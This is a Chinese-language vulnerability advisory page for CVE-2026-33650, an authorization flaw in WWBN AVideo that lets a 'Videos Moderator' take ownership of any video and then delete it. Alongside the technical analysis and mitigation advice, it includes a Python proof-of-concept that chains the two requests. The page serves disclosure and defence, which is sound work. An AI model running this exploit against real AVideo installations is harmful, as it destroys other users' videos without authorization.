IPBUF安全漏洞报告
English
CVE-2026-33650 CVSS 7.6 高危

CVE-2026-33650 AVideo权限提升漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33650
漏洞类型
权限提升
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

权限提升越权漏洞WWBN AVideoCVE-2026-33650

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及更早版本中,存在权限提升漏洞。拥有“Videos Moderator”权限的用户本应仅能修改视频的公开状态,但实际利用该漏洞可以执行完全的视频管理操作,包括转移视频所有权和删除任意视频。该漏洞源于授权检查的不对称性,允许低权限用户通过特定的操作链绕过权限限制。

技术细节

该漏洞的根本原因在于授权逻辑的不一致。首先,`videoAddNew.json.php` 文件使用 `Permissions::canModerateVideos()` 作为完全视频编辑(包括所有权修改)的授权门禁,这赋予了拥有“Videos Moderator”权限的用户超出预期的编辑能力。其次,`videoDelete.json.php` 文件仅检查用户是否为视频所有者,并未验证用户是否有权删除他人的视频。攻击者可以利用这种不对称性,首先利用编辑权限将任意视频的所有权转移给自己,随后利用删除权限将该视频删除。这种两步攻击链成功绕过了原本的权限边界,导致严重的数据完整性风险。

攻击链分析

STEP 1
步骤1
攻击者获取具有“Videos Moderator”权限的低权限账户,并登录系统。
STEP 2
步骤2
攻击者利用 `videoAddNew.json.php` 接口,使用 `Permissions::canModerateVideos()` 权限,将目标视频的所有权修改为攻击者自己。
STEP 3
步骤3
攻击者向 `videoDelete.json.php` 发送删除请求。由于该接口仅检查所有权,攻击者成功删除了原本无权删除的视频。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com" attacker_session = "SESSION_COOKIE_HERE" # Cookie for user with 'Videos Moderator' role target_video_id = 123 attacker_user_id = 456 headers = { "Cookie": f"PHPSESSID={attacker_session}" } # Step 1: Transfer ownership of the target video to the attacker # Exploiting the logic in videoAddNew.json.php where canModerateVideos() allows editing ownership edit_payload = { "id": target_video_id, "owners_id": attacker_user_id, # Parameter to change owner # ... other necessary parameters for the endpoint } print("[*] Attempting to transfer ownership...") response = requests.post(f"{target_url}/videoAddNew.json.php", data=edit_payload, headers=headers) if response.status_code == 200 and "success" in response.text: print("[+] Ownership transferred successfully.") else: print("[-] Failed to transfer ownership.") exit() # Step 2: Delete the video # Exploiting videoDelete.json.php which only checks ownership (now owned by attacker) delete_payload = { "id": target_video_id } print("[*] Attempting to delete video...") response = requests.post(f"{target_url}/videoDelete.json.php", data=delete_payload, headers=headers) if response.status_code == 200 and "success" in response.text: print("[+] Video deleted successfully.") else: print("[-] Failed to delete video.")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议立即升级到修复后的版本。若无法立即升级,应严格限制“Videos Moderator”权限的分配范围,仅授予完全信任的管理员。同时,建议配置WAF规则监控对 `videoAddNew.json.php` 和 `videoDelete.json.php` 的异常调用,特别是包含所有权变更参数的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表